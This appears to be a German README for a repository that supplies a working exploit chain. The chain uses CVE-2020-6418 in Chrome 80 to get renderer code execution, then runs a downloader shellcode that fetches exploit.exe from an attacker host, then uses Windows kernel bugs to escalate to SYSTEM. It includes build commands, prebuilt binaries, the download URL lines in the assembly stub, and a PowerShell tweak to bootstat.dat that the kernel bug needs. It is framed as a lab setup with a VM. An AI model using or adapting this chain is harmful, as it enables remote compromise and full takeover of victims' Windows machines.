
Einzelstufige Exploit-Kette für CVE-2020-6418 (Chrome RCE) kombiniert mit Windows-Privilegieneskalation auf SYSTEM, mit Build-Skripten und vorgefertigten Binärdateien.
Dieses Repo enthält eine funktionierende, einstufige Exploit-Kette für CVE-2020-6418
(ein Type-Confusion-Fehler im Turbofan-Compiler von V8, der Google Chrome
80.0.3987.87 x64 betrifft). Der Besuch einer bösartigen Seite mit einem verwundbaren Chrome
verschafft Ihnen native Codeausführung im Renderer-Prozess. Von dort aus
lädt der Exploit eine zweite Binärdatei herunter und startet sie, die zwei weitere Fehler
verkettet (eine fehlende Längenprüfung in NtPowerInformation plus CVE-2021-31956, einen Pool-
Überlauf in ntfs.sys), um von einem nicht privilegierten Prozess bis hin zu
NT AUTHORITY\SYSTEM zu gelangen.
Das Ganze läuft mit einem einzigen Besuch der Seite, ohne manuelle Schritte zwischen dem Browser-Bug und der SYSTEM-Shell.
Die ursprüngliche Anerkennung für den Chrome-Exploit gebührt Clement Lecigne (Bug-
Entdeckung, Google TAG) und Istvan Kurucsai / Vignesh S Rao (das ursprüngliche
Proof of Concept, das später als Metasploit-Modul ausgeliefert wurde). Wir haben
die Metasploit-Abhängigkeiten entfernt und den Auslieferungsmechanismus um einen
nativen Downloader herum neu aufgebaut, anstatt das Payload in die Seite einzubetten. Details in
browser-exploit/README.md.
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
Angreifer-Maschine (der „Host“): ein aktuelles Windows mit Visual Studio 2019 oder 2022 (beliebige Edition, Community ist in Ordnung, oder nur die Build Tools), NASM und Python 3. Hier bauen Sie alles und servieren die Exploit-Seite.
Zielmaschine (die „VM“): diese muss exakt übereinstimmen, der Exploit verlässt sich auf hartcodierte Offsets, die nur für diese spezifischen Builds gültig sind.
winver oder
[System.Environment]::OSVersion in PowerShell.chrome://version.C:\lab8 (kann leer sein, er muss nur existieren).Wir haben das auf einer VMware-Workstation-VM mit einem Host-Only-Netzwerkadapter getestet, aber jedes Setup, bei dem die VM den Host über HTTP erreichen kann, funktioniert auf dieselbe Weise.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
Bevor Sie den ersten Build durchführen, öffnen Sie browser-exploit\shellcode\download_and_run_stub.asm
und bearbeiten Sie diese zwei Zeilen in der Nähe des Endes:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP ist die IP-Adresse dieser Maschine, wie von der VM aus gesehen (führen Sie
ipconfig auf der VM aus und prüfen Sie den Netzwerkadapter, der zu Ihrem Host-Only-
oder NAT-Netzwerk passt, oder führen Sie einfach ipconfig auf dem Host aus und verwenden Sie den Adapter im
selben Subnetz wie die VM). destination_path sollte dorthin zeigen, wo
die EoP-Binärdatei in der VM landen soll, standardmäßig ist es C:\lab8.
Nach der Bearbeitung assemblieren Sie den Stub neu und generieren exploit.html neu (die beiden Befehle aus Schritt 1, wobei der Privilege-Escalation-Build übersprungen wird, da dieser nicht von der IP abhängt).
Wenn Sie für einen schnellen Test die Assembly-Datei nicht anfassen möchten, enthält prebuilt/
bereits eine funktionierende Kopie mit unserer eigenen Test-IP. Sie funktioniert nur,
wenn Ihr Netzwerk zufällig passt, daher ist das Erstellen einer eigenen Kopie der
zuverlässige Weg.
Legen Sie exploit.html und exploit.exe (das in
privilege-escalation/ gebaute) in denselben Ordner, dann:
python -m http.server 8000
exploit.exe muss unter genau der URL erreichbar sein, die Sie oben in
download_url eingetragen haben, da der native Stub sie direkt abruft, nicht
über den Browser.
Ein kurzer Hinweis zur Host-Firewall: Wenn die VM Port 8000 nicht erreichen kann, liegt es
fast immer daran, dass die Windows Defender Firewall die eingehende Verbindung in einem
nicht klassifizierten Netzwerk blockiert, oder an einer übrig gebliebenen Regel, die speziell python.exe
blockiert (Windows erstellt eine solche manchmal automatisch, wenn eine App zum ersten Mal
versucht, eine Verbindung in einem nicht vertrauenswürdigen Netzwerk anzunehmen). Prüfen Sie
Get-NetFirewallRule -DisplayName "python.exe" in einer erhöhten PowerShell,
wenn Sie darauf stoßen.
Bestätigen Sie, dass der Windows-Build und die Chrome-Version den Anforderungen oben entsprechen.
Erstellen Sie C:\lab8, falls es noch nicht vorhanden ist (leer ist in Ordnung).
Wenn dies eine frische VM ist, die noch nie einen echten Boot-Zyklus durchlaufen hat,
kann C:\Windows\bootstat.dat fehlen oder leer sein, und der Kernel-Bug
benötigt, dass es mit gültigem Inhalt existiert. Falls nötig:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
Starten Sie das verwundbare Chrome mit --no-sandbox (dieses PoC enthält keinen
Sandbox-Escape, daher muss der Renderer bereits ohne Sandbox laufen, um auf
das Dateisystem zugreifen und Prozesse starten zu können) und richten Sie es auf die Seite:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
Öffnen Sie DevTools (F12) und prüfen Sie den Konsole-Tab, dort protokolliert der Exploit
seinen Fortschritt. Wenn alles zusammenpasst, sollten Sie sehen, wie die Type Confusion
gelingt, der Stub die EoP-Binärdatei herunterlädt und startet, und nach ein paar
Sekunden ein neues Konsolenfenster, das als NT AUTHORITY\SYSTEM läuft.
exploit_template.html
(objleaker_offset, float_carw_elements_offset und die übrigen) sind
spezifisch für 80.0.3987.87 x64, sie funktionieren nicht mit einem anderen Build,
nicht einmal eine Patch-Version entfernt.DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD und die verschiedenen
EPROCESS/ETHREAD-Offsets in privilege-escalation/exploit.c) sind
für diesen Build hartcodiert.download_url in download_and_run_stub.asm mit der Adresse und dem
Port übereinstimmt, auf dem der Host tatsächlich bereitstellt, und dass die VM ihn erreichen kann (ein
einfaches curl http://YOUR_HOST_IP:8000/exploit.exe von innerhalb der VM ist
ein schneller Weg, die Konnektivität zu bestätigen, bevor man dem Exploit die Schuld gibt).Weitere Details zu jedem Teil, einschließlich warum er so gebaut ist, finden Sie in der README jedes Ordners.